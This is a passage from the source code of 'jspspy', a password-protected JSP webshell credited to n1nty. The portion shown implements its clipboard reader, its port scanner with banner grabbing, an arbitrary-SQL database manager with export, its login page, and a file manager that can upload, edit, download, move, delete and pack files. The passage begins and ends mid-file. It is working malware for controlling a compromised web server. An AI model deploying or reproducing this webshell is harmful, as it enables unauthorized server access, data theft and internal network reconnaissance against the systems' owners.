  907. JSession.setAttribute(MSG,success+" Files Deleted <span style='color:green'>Success</span> , "+failed+" Files Deleted <span style='color:red'>Failed</span>!");
  908. response.sendRedirect(SHELL_NAME);
  909. } catch (Exception e) {
  910.  
  911. throw e ;
  912. }
  913. }
  914. }
  915. private static class ClipBoardInvoker extends DefaultInvoker {
  916. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  917. try {
  918. PrintWriter out = response.getWriter();
  919. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  920. " <tr>"+
  921. " <td>"+
  922. " <h2>System Clipboard &raquo;</h2>"+
  923. "<p><pre>");
  924. try{
  925. out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getContents(DataFlavor.stringFlavor).getTransferData(DataFlavor.stringFlavor))));
  926. }catch (Exception ex) {
  927. out.println("ClipBoard is Empty Or Is Not Text Data !");
  928. }
  929. out.println("</pre>"+
  930. " <input class=\"bt\" name=\"button\" id=\"button\" onClick=\"history.back()\" value=\"Back\" type=\"button\" size=\"100\" />"+
  931. " </p>"+
  932. " </td>"+
  933. " </tr>"+
  934. "</table>");
  935. } catch (Exception e) {
  936.  
  937. throw e ;
  938. }
  939. }
  940. }
  941. private static class VPortScanInvoker extends DefaultInvoker {
  942. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  943. try {
  944. PrintWriter out = response.getWriter();
  945. String ip = request.getParameter("ip");
  946. String ports = request.getParameter("ports");
  947. String timeout = request.getParameter("timeout");
  948. String banner = request.getParameter("banner");
  949. if (Util.isEmpty(ip))
  950. ip = "127.0.0.1";
  951. if (Util.isEmpty(ports))
  952. ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500";
  953. if (Util.isEmpty(timeout))
  954. timeout = "2";
  955. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  956. "<h2 id=\"Bin_H2_Title\">PortScan &gt;&gt;</h2>"+
  957. "<div id=\"YwLB\"><form action=\""+SHELL_NAME+"\" method=\"post\">"+
  958. "<p><input type=\"hidden\" value=\"portScan\" name=\"o\">"+
  959. "IP : <input name=\"ip\" type=\"text\" value=\""+ip+"\" id=\"ip\" class=\"input\" style=\"width:10%;margin:0 8px;\" /> Port : <input name=\"ports\" type=\"text\" value=\""+ports+"\" id=\"ports\" class=\"input\" style=\"width:40%;margin:0 8px;\" /> <input "+(!Util.isEmpty(banner) ? "checked" : "")+" type='checkbox' value='yes' name='banner'/>Banner Timeout (Second) : <input name=\"timeout\" type=\"text\" value=\""+timeout+"\" id=\"timeout\" class=\"input\" size=\"5\" style=\"margin:0 8px;\" /> <input type=\"submit\" name=\"submit\" value=\"Scan\" id=\"submit\" class=\"bt\" />"+
  960. "</p>"+
  961. "</form></div>"+
  962. "</td></tr></table>");
  963. } catch (Exception e) {
  964.  
  965. throw e ;
  966. }
  967. }
  968. }
  969. private static class PortScanInvoker extends DefaultInvoker {
  970. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  971. try {
  972. PrintWriter out = response.getWriter();
  973. ((Invoker)ins.get("vPortScan")).invoke(request,response,JSession);
  974. out.println("<hr/>");
  975. String ip = request.getParameter("ip");
  976. String ports = request.getParameter("ports");
  977. String timeout = request.getParameter("timeout");
  978. String banner = request.getParameter("banner");
  979. int iTimeout = 0;
  980. if (Util.isEmpty(ip) || Util.isEmpty(ports))
  981. return;
  982. if (!Util.isInteger(timeout)) {
  983. timeout = "2";
  984. }
  985. iTimeout = Integer.parseInt(timeout);
  986. Map rs = new LinkedHashMap();
  987. String[] portArr = ports.split(",");
  988. for (int i =0;i<portArr.length;i++) {
  989. String port = portArr[i];
  990. BufferedReader r = null;
  991. try {
  992. Socket s = new Socket();
  993. s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout);
  994. s.setSoTimeout(iTimeout);
  995. if (!Util.isEmpty(banner)) {
  996. r = new BufferedReader(new InputStreamReader(s.getInputStream()));
  997. StringBuffer sb = new StringBuffer();
  998. String b = r.readLine();
  999. while (b != null) {
  1000. sb.append(b+" ");
  1001. try {
  1002. b = r.readLine();
  1003. } catch (Exception e) {
  1004. break;
  1005. }
  1006. }
  1007. rs.put(port,"Open <span style=\"color:grey;font-weight:normal\">"+sb.toString()+"</span>");
  1008. r.close();
  1009. } else {
  1010. rs.put(port,"Open");
  1011. }
  1012. s.close();
  1013. } catch (Exception e) {
  1014. if (e.toString().toLowerCase().indexOf("read timed out")!=-1) {
  1015. rs.put(port,"Open <span style=\"color:grey;font-weight:normal\">&lt;&lt;No Banner!&gt;&gt;</span>");
  1016. if (r != null)
  1017. r.close();
  1018. } else {
  1019. rs.put(port,"Close");
  1020. }
  1021. }
  1022. }
  1023. out.println("<div style='margin:10px'>");
  1024. Set entrySet = rs.entrySet();
  1025. Iterator it = entrySet.iterator();
  1026. while (it.hasNext()) {
  1027. Map.Entry e = (Map.Entry)it.next();
  1028. String port = (String)e.getKey();
  1029. String value = (String)e.getValue();
  1030. out.println(ip+" : "+port+" ................................. <font color="+(value.equals("Close")?"red":"green")+"><b>"+value+"</b></font><br>");
  1031. }
  1032. out.println("</div>");
  1033. } catch (Exception e) {
  1034.  
  1035. throw e ;
  1036. }
  1037. }
  1038. }
  1039. private static class VConnInvoker extends DefaultInvoker {
  1040. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1041. try {
  1042. PrintWriter out = response.getWriter();
  1043. Object obj = JSession.getAttribute(DBO);
  1044. if (obj == null || !((DBOperator)obj).isValid()) {
  1045. out.println(" <script type=\"text/javascript\">"+
  1046. " function changeurldriver(){"+
  1047. " var form = document.forms[\"form1\"];"+
  1048. " var v = form.elements[\"db\"].value;"+
  1049. " form.elements[\"url\"].value = v.split(\"`\")[1];"+
  1050. " form.elements[\"driver\"].value = v.split(\"`\")[0];"+
  1051. " form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
  1052. " }"+
  1053. " </script>");
  1054. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1055. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1056. "<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\"0\">"+
  1057. "<h2>DataBase Manager &raquo;</h2>"+
  1058. "<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
  1059. "<p>"+
  1060. "Driver:"+
  1061. " <input class=\"input\" name=\"driver\" id=\"driver\" type=\"text\" size=\"35\" />"+
  1062. "URL:"+
  1063. "<input class=\"input\" name=\"url\" id=\"url\" value=\"\" type=\"text\" size=\"90\" />"+
  1064. "UID:"+
  1065. "<input class=\"input\" name=\"uid\" id=\"uid\" value=\"\" type=\"text\" size=\"10\" />"+
  1066. "PWD:"+
  1067. "<input class=\"input\" name=\"pwd\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\" />"+
  1068. "DataBase:"+
  1069. " <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
  1070. " <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
  1071. " <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
  1072. " <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
  1073. " <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:\\ninty.mdb'>Access</option>"+
  1074. " <option value=' ` '>Other</option>"+
  1075. " </select>"+
  1076. "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\" />"+
  1077. "</p>"+
  1078. "</form></table><script>changeurldriver()</script>");
  1079. } else {
  1080. ((Invoker)ins.get("dbc")).invoke(request,response,JSession);
  1081. }
  1082. } catch (ClassCastException e) {
  1083. throw e;
  1084. } catch (Exception e) {
  1085.  
  1086. throw e ;
  1087. }
  1088. }
  1089. }
  1090. //DBConnect
  1091. private static class DbcInvoker extends DefaultInvoker {
  1092. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1093. try {
  1094. PrintWriter out = response.getWriter();
  1095. String driver = request.getParameter("driver");
  1096. String url = request.getParameter("url");
  1097. String uid = request.getParameter("uid");
  1098. String pwd = request.getParameter("pwd");
  1099. String sql = request.getParameter("sql");
  1100. String selectDb = request.getParameter("selectDb");
  1101. if (selectDb == null)
  1102. selectDb = JSession.getAttribute("selectDb").toString();
  1103. else
  1104. JSession.setAttribute("selectDb",selectDb);
  1105. Object dbo = JSession.getAttribute(DBO);
  1106. if (dbo == null || !((DBOperator)dbo).isValid()) {
  1107. if (dbo != null)
  1108. ((DBOperator)dbo).close();
  1109. dbo = new DBOperator(driver,url,uid,pwd,true);
  1110. } else {
  1111. if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) {
  1112. DBOperator oldDbo = (DBOperator)dbo;
  1113. dbo = new DBOperator(driver,url,uid,pwd);
  1114. if (!oldDbo.equals(dbo)) {
  1115. ((DBOperator)oldDbo).close();
  1116. ((DBOperator)dbo).connect();
  1117. } else {
  1118. dbo = oldDbo;
  1119. }
  1120. }
  1121. }
  1122. DBOperator Ddbo = (DBOperator)dbo;
  1123. JSession.setAttribute(DBO,Ddbo);
  1124. if (!Util.isEmpty(request.getParameter("type")) && request.getParameter("type").equals("switch")) {
  1125. Ddbo.getConn().setCatalog(request.getParameter("catalog"));
  1126. }
  1127. Util.outMsg(out,"Connect To DataBase Success!");
  1128. out.println(" <script type=\"text/javascript\">"+
  1129. " function changeurldriver(selectDb){"+
  1130. " var form = document.forms[\"form1\"];"+
  1131. " if (selectDb){"+
  1132. " form.elements[\"db\"].selectedIndex = selectDb"+
  1133. " }"+
  1134. " var v = form.elements[\"db\"].value;"+
  1135. " form.elements[\"url\"].value = v.split(\"`\")[1];"+
  1136. " form.elements[\"driver\"].value = v.split(\"`\")[0];"+
  1137. " form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
  1138. " }"+
  1139. " </script>");
  1140. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1141. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1142. "<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\""+selectDb+"\">"+
  1143. "<h2>DataBase Manager &raquo;</h2>"+
  1144. "<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
  1145. "<p>"+
  1146. "Driver:"+
  1147. " <input class=\"input\" name=\"driver\" value=\""+Ddbo.driver+"\" id=\"driver\" type=\"text\" size=\"35\" />"+
  1148. "URL:"+
  1149. "<input class=\"input\" name=\"url\" value=\""+Ddbo.url+"\" id=\"url\" value=\"\" type=\"text\" size=\"90\" />"+
  1150. "UID:"+
  1151. "<input class=\"input\" name=\"uid\" value=\""+Ddbo.uid+"\" id=\"uid\" value=\"\" type=\"text\" size=\"10\" />"+
  1152. "PWD:"+
  1153. "<input class=\"input\" name=\"pwd\" value=\""+Ddbo.pwd+"\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\" />"+
  1154. "DataBase:"+
  1155. " <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
  1156. " <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
  1157. " <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
  1158. " <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
  1159. " <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:/ninty.mdb'>Access</option>"+
  1160. " <option value=' ` '>Other</option>"+
  1161. " </select>"+
  1162. "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\" />"+
  1163. "</p>"+
  1164. "</form><script>changeurldriver('"+selectDb+"')</script>");
  1165. DatabaseMetaData meta = Ddbo.getConn().getMetaData();
  1166. out.println("<form action=\""+SHELL_NAME+"\" method=\"POST\">"+
  1167. "<p><input type=\"hidden\" name=\"selectDb\" value=\""+selectDb+"\"><input type=\"hidden\" name=\"o\" value=\"executesql\"><table width=\"200\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td colspan=\"2\">Version : <b style='color:red;font-size:14px'><i>"+meta.getDatabaseProductName()+" , "+meta.getDatabaseProductVersion()+"</i></b><br/>URL : <b style='color:red;font-size:14px'><i>"+meta.getURL()+"</i></b><br/>Catalog : <b style='color:red;font-size:14px'><i>"+Ddbo.getConn().getCatalog()+"</i></b><br/>UserName : <b style='color:red;font-size:14px'><i>"+meta.getUserName()+"</i></b><br/><br/></td></tr><tr><td colspan=\"2\">Run SQL query/queries on database / <b><i>Switch Database :</i></b> ");
  1168. out.println("<select id=\"catalogs\" onchange=\"if (this.value == '0') return;doPost({o:'executesql',type:'switch',catalog:document.getElementById('catalogs').value})\">");
  1169. out.println("<option value='0'>-- Select a DataBase --</option>");
  1170. ResultSet dbs = meta.getCatalogs();
  1171. try {
  1172. while (dbs.next()){
  1173. out.println("<option value='"+dbs.getString(1)+"'>"+dbs.getString(1)+"</option>");
  1174. }
  1175. }catch(Exception ex) {
  1176. }
  1177. dbs.close();
  1178. out.println("</select></td></tr><tr><td><textarea id=\"sql\" name=\"sql\" class=\"area\" style=\"width:600px;height:50px;overflow:auto;\">"+Util.htmlEncode(Util.getStr(sql))+"</textarea><input class=\"bt\" name=\"submit\" type=\"submit\" value=\"Query\" /> <input class=\"bt\" onclick=\"doPost({o:'export',type:'queryexp',sql:document.getElementById('sql').value})\" type=\"button\" value=\"Export\" /> <input type='button' value='Export To File' class='bt' onclick=\"doPost({o:'vExport',type:'queryexp',sql:document.getElementById('sql').value})\"></td><td nowrap style=\"padding:0 5px;\"></td></tr></table></p></form></table>");
  1179. if (Util.isEmpty(sql)) {
  1180. String type = request.getParameter("type");
  1181. if (Util.isEmpty(type) || type.equals("switch")) {
  1182. ResultSet tbs = meta.getTables(null,null,null,null);
  1183. out.println(Table.rs2Table(tbs,meta.getIdentifierQuoteString(),true));
  1184. tbs.close();
  1185. } else if (type.equals("struct")) {
  1186. String tb = request.getParameter("table");
  1187. if (Util.isEmpty(tb))
  1188. return;
  1189. ResultSet t = meta.getColumns(null,null,tb,null);
  1190. out.println(Table.rs2Table(t,"",false));
  1191. t.close();
  1192. }
  1193. }
  1194. } catch (Exception e) {
  1195. JSession.setAttribute(MSG,"<span style='color:red'>Some Error Occurred. Please Check Out the StackTrace Follow.</span>"+BACK_HREF);
  1196. throw e;
  1197. }
  1198. }
  1199. }
  1200. private static class ExecuteSQLInvoker extends DefaultInvoker{
  1201. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1202. try {
  1203. PrintWriter out = response.getWriter();
  1204. String sql = request.getParameter("sql");
  1205. String db = request.getParameter("selectDb");
  1206. Object dbo = JSession.getAttribute(DBO);
  1207. if (!Util.isEmpty(sql)) {
  1208. if (dbo == null || !((DBOperator)dbo).isValid()) {
  1209. ((Invoker)ins.get("vConn")).invoke(request,response,JSession);
  1210. return;
  1211. } else {
  1212. ((Invoker)ins.get("dbc")).invoke(request,response,JSession);
  1213. Object obj = ((DBOperator)dbo).execute(sql);
  1214. if (obj instanceof ResultSet) {
  1215. ResultSet rs = (ResultSet)obj;
  1216. ResultSetMetaData meta = rs.getMetaData();
  1217. int colCount = meta.getColumnCount();
  1218. out.println("<b style=\"margin-left:15px\">Query#0 : "+Util.htmlEncode(sql)+"</b><br/><br/>");
  1219. out.println("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
  1220. for (int i=1;i<=colCount;i++) {
  1221. out.println("<td nowrap>"+meta.getColumnName(i)+"<br><span>"+meta.getColumnTypeName(i)+"</span></td>");
  1222. }
  1223. out.println("</tr>");
  1224. Table tb = new Table();
  1225. while(rs.next()) {
  1226. Row r = new Row();
  1227. for (int i = 1;i<=colCount;i++) {
  1228. String v = null;
  1229. try {
  1230. v = rs.getString(i);
  1231. } catch (SQLException ex) {
  1232. v = "<<Error!>>";
  1233. }
  1234. r.addColumn(new Column(v));
  1235. }
  1236. tb.addRow(r);
  1237. }
  1238. out.println(tb.toString());
  1239. out.println("</table><br/>");
  1240. rs.close();
  1241. ((DBOperator)dbo).closeStmt();
  1242. } else {
  1243. out.println("<b style='margin-left:15px'>affected rows : <i>"+obj+"</i></b><br/><br/>");
  1244. }
  1245. }
  1246. } else {
  1247. ((Invoker)ins.get("dbc")).invoke(request,response,JSession);
  1248. }
  1249. } catch (Exception e) {
  1250.  
  1251. throw e ;
  1252. }
  1253. }
  1254. }
  1255. private static class VLoginInvoker extends DefaultInvoker {
  1256. public boolean doBefore() {return false;}
  1257. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1258. try {
  1259. PrintWriter out = response.getWriter();
  1260. out.println("<html><head><title>jspspy</title><style type=\"text/css\">"+
  1261. " input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}"+
  1262. "a{font:11px Verdana;BACKGROUND: #FFFFFF;}"+
  1263. " </style></head><body><form method=\"POST\" action=\""+SHELL_NAME+"\">"+
  1264. "<!--<p style=\"font:11px Verdana;color:red\">Private Edition Dont Share It !</p>-->"+
  1265. " <p><span style=\"font:11px Verdana;\">Password: </span>"+
  1266. " <input name=\"o\" type=\"hidden\" value=\"login\">"+
  1267. " <input name=\"pw\" type=\"password\" size=\"20\">"+
  1268. " <input type=\"hidden\" name=\"o\" value=\"login\">"+
  1269. " <input type=\"submit\" value=\"Login\"><br/>"+
  1270. "<!--<span style=\"font:11px Verdana;\">Copyright &copy; 2010 NinTy </span><a href=\"http://www.forjj.com\" target=\"_blank\">www.Forjj.com</a>--></p>"+
  1271. " </form><span style='font-weight:bold;color:red;font-size:12px'>CY... I Love You. I Do! by n1nty 2010/8/18</span></body></html>");
  1272. } catch (Exception e) {
  1273.  
  1274. throw e ;
  1275. }
  1276. }
  1277. }
  1278. private static class LoginInvoker extends DefaultInvoker{
  1279. public boolean doBefore() {return false;}
  1280. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1281. try {
  1282. JSession.setAttribute(PW_SESSION_ATTRIBUTE,"asd");
  1283. response.sendRedirect(SHELL_NAME);
  1284. String inputPw = request.getParameter("pw");
  1285. if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) {
  1286. //((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
  1287. return;
  1288. } else {
  1289. JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw);
  1290. response.sendRedirect(SHELL_NAME);
  1291. return;
  1292. }
  1293. } catch (Exception e) {
  1294.  
  1295. throw e ;
  1296. }
  1297. }
  1298. }
  1299. private static class MyComparator implements Comparator{
  1300. public int compare(Object obj1,Object obj2) {
  1301. try {
  1302. if (obj1 != null && obj2 != null) {
  1303. File f1 = (File)obj1;
  1304. File f2 = (File)obj2;
  1305. if (f1.isDirectory()) {
  1306. if (f2.isDirectory()) {
  1307. return f1.getName().compareTo(f2.getName());
  1308. } else {
  1309. return -1;
  1310. }
  1311. } else {
  1312. if (f2.isDirectory()) {
  1313. return 1;
  1314. } else {
  1315. return f1.getName().toLowerCase().compareTo(f2.getName().toLowerCase());
  1316. }
  1317. }
  1318. }
  1319. return 0;
  1320. } catch (Exception e) {
  1321. return 0;
  1322. }
  1323. }
  1324. }
  1325. private static class FileListInvoker extends DefaultInvoker {
  1326. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
  1327. try {
  1328. String path2View = null;
  1329. PrintWriter out = response.getWriter();
  1330. String path = request.getParameter("folder");
  1331. String outEntry = request.getParameter("outentry");
  1332. if (!Util.isEmpty(outEntry) && outEntry.equals("true")) {
  1333. JSession.removeAttribute(ENTER);
  1334. JSession.removeAttribute(ENTER_MSG);
  1335. JSession.removeAttribute(ENTER_CURRENT_DIR);
  1336. }
  1337. Object enter = JSession.getAttribute(ENTER);
  1338. File file = null;
  1339. if (!Util.isEmpty(enter)) {
  1340. if (Util.isEmpty(path)) {
  1341. if (JSession.getAttribute(ENTER_CURRENT_DIR) == null)
  1342. path = "/";
  1343. else
  1344. path = (String)(JSession.getAttribute(ENTER_CURRENT_DIR));
  1345. }
  1346. file = new EnterFile(path);
  1347. ((EnterFile)file).setZf((String)enter);
  1348. JSession.setAttribute(ENTER_CURRENT_DIR,path);
  1349. } else {
  1350. if (Util.isEmpty(path))
  1351. path = JSession.getAttribute(CURRENT_DIR).toString();
  1352. JSession.setAttribute(CURRENT_DIR,Util.convertPath(path));
  1353. file = new File(path);
  1354. }
  1355. path2View = Util.convertPath(path);
  1356. if (!file.exists()) {
  1357. throw new Exception(path+"Dont Exists !");
  1358. }
  1359. File[] list = file.listFiles();
  1360. Arrays.sort(list,new MyComparator());
  1361. out.println("<div style='margin:10px'>");
  1362. String cr = null;
  1363. try {
  1364. cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3);
  1365. }catch(Exception e) {
  1366. cr = "/";
  1367. }
  1368. File currentRoot = new File(cr);
  1369. out.println("<h2>File Manager - Current disk &quot;"+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"&quot; total (unknow)</h2>");
  1370. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
  1371. "<table width=\"98%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  1372. " <tr>"+
  1373. " <td nowrap>Current Directory <input type=\"hidden\" name=\"o\" value=\"filelist\"/></td>"+
  1374. " <td width=\"98%\"><input class=\"input\" name=\"folder\" value=\""+path2View+"\" type=\"text\" style=\"width:100%;margin:0 8px;\"></td>"+
  1375. " <td nowrap><input class=\"bt\" value=\"GO\" type=\"submit\"></td>"+
  1376. " </tr>"+
  1377. "</table>"+
  1378. "</form>");
  1379. out.println("<table width=\"98%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\">"+
  1380. "<form action=\""+SHELL_NAME+"?o=upload\" method=\"POST\" enctype=\"multipart/form-data\"><tr class=\"alt1\"><td colspan=\"7\" style=\"padding:5px;\">"+
  1381. "<div style=\"float:right;\"><input class=\"input\" name=\"file\" value=\"\" type=\"file\" /> <input class=\"bt\" name=\"doupfile\" value=\"Upload\" "+(enter == null ?"type=\"submit\"":"type=\"button\" onclick=\"alert('You Are In File Now ! Can Not Upload !')\"")+" /></div>"+
  1382. "<a href=\"javascript:new fso({path:'"+Util.convertPath(WEB_ROOT)+"'}).subdir('true')\">Web Root</a>"+
  1383. " | <a href=\"javascript:new fso({path:'"+Util.convertPath(SHELL_DIR)+"'}).subdir('true')\">Shell Directory</a>"+
  1384. " | <a href=\"javascript:"+(enter == null ? "new fso({}).mkdir()" : "alert('You Are In File Now ! Can Not Create Directory ! ')")+"\">New Directory</a> | <a href=\"javascript:"+(enter == null ? "new fso({}).createFile()" : "alert('You Are In File Now ! Can Not Create File !')")+"\">New File</a>"+
  1385. " | ");
  1386. File[] roots = file.listRoots();
  1387. for (int i = 0;i<roots.length;i++) {
  1388. File r = roots[i];
  1389. out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(r.getPath())+"'}).subdir('true');\">Disk("+Util.convertPath(r.getPath())+")</a>");
  1390. if (i != roots.length -1) {
  1391. out.println("|");
  1392. }
  1393. }
  1394. out.println("</td>"+
  1395. "</tr></form>"+
  1396. "<tr class=\"head\"><td>&nbsp;</td>"+
  1397. " <td>Name</td>"+
  1398. " <td width=\"16%\">Last Modified</td>"+
  1399. " <td width=\"10%\">Size</td>"+
  1400. " <td width=\"20%\">Read/Write/Execute</td>"+
  1401. " <td width=\"22%\">&nbsp;</td>"+
  1402. "</tr>");
  1403. if (file.getParent() != null) {
  1404. out.println("<tr class=alt1>"+
  1405. "<td align=\"center\"><font face=\"Wingdings 3\" size=4>=</font></td>"+
  1406. "<td nowrap colspan=\"5\"><a href=\"javascript:new fso({path:'"+Util.convertPath(file.getAbsolutePath())+"'}).parent()\">Goto Parent</a></td>"+
  1407. "</tr>");
  1408. }
  1409. int dircount = 0;
  1410. int filecount = 0;
  1411. for (int i = 0;i<list.length;i++) {
  1412. File f = list[i];
  1413. if (f.isDirectory()) {
  1414. dircount ++;
  1415. out.println("<tr class=\"alt2\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt2';\">"+
  1416. "<td width=\"2%\" nowrap><font face=\"wingdings\" size=\"3\">0</font></td>"+
  1417. "<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).subdir()\">"+f.getName()+"</a></td>"+
  1418. "<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
  1419. "<td nowrap>--</td>"+
  1420. "<td nowrap>"+f.canRead()+" / "+f.canWrite()+" / unknow</td>"+
  1421. "<td nowrap>");
  1422. if (enter != null)
  1423. out.println("&nbsp;");
  1424. else
  1425. out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).removedir()\">Del</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack(true)\">Pack</a>");
  1426. out.println("</td></tr>");
  1427. } else {
  1428. filecount++;
  1429. out.println("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">"+
  1430. "<td width=\"2%\" nowrap><input type='checkbox' value='"+f.getName()+"'/></td>"+
  1431. "<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">"+f.getName()+"</a></td>"+
  1432. "<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
  1433. "<td nowrap>"+Util.getSize(f.length(),'B')+"</td>"+
  1434. "<td nowrap>"+
  1435. ""+f.canRead()+" / "+f.canWrite()+" / unknow </td>"+
  1436. "<td nowrap>"+
  1437. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEdit()\">Edit</a> | "+
  1438. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">Down</a> | "+
  1439. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).copy()\">Copy</a>");
  1440. if (enter == null ) {
  1441. out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | "+
  1442. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEditProperty()\">Property</a> | "+
  1443. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).enter()\">Enter</a>");
  1444. if (f.getName().endsWith(".zip") || f.getName().endsWith(".jar")) {
  1445. out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).unpack()\">UnPack</a>");
  1446. } else if (f.getName().endsWith(".rar")) {
  1447. out.println(" | <a href=\"javascript:alert('Dont Support RAR,Please Use WINRAR');\">UnPack</a>");
  1448. } else {
  1449. out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack()\">Pack</a>");
  1450. }
  1451. }
  1452. out.println("</td></tr>");
  1453. }
  1454. }
  1455. out.println("<tr class=\"alt2\"><td align=\"center\">&nbsp;</td>"+
  1456. " <td>");
  1457. if (enter != null)
  1458. out.println("<a href=\"javascript:alert('You Are In File Now ! Can Not Pack !');\">Pack Selected</a> - <a href=\"javascript:alert('You Are In File Now ! Can Not Delete !');\">Delete Selected</a>");
  1459. else
  1460. out.println("<a href=\"javascript:new fso({}).packBatch();\">Pack Selected</a> - <a href=\"javascript:new fso({}).deleteBatch();\">Delete Selected</a>");
  1461. out.println("</td>"+
  1462. " <td colspan=\"4\" align=\"right\">"+dircount+" directories / "+filecount+" files</td></tr>"+
  1463. "</table>");
  1464. out.println("</div>");
  1465. if (file instanceof EnterFile)
  1466. ((EnterFile)file).close();
  1467. } catch (ZipException e) {
  1468. JSession.setAttribute(MSG,"\""+JSession.getAttribute(ENTER).toString()+"\" Is Not a Zip File. Please Exit.");
  1469. throw e;
  1470. } catch (Exception e) {
  1471. JSession.setAttribute(MSG,"File Does Not Exist Or You Dont Have Privilege."+BACK_HREF);
  1472. throw e;
  1473. }
  1474. }
  1475. }
  1476. private static class LogoutInvoker extends DefaultInvoker {
  1477. public boolean doBefore() {return false;}
  1478. public boolean doAfter() {return false;}
  1479. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1480. try {
  1481. Object dbo = JSession.getAttribute(DBO);
  1482. if (dbo != null)
  1483. ((DBOperator)dbo).close();
  1484. Object obj = JSession.getAttribute(PORT_MAP);
  1485. if (obj != null) {
  1486. ServerSocket s = (ServerSocket)obj;
  1487. s.close();
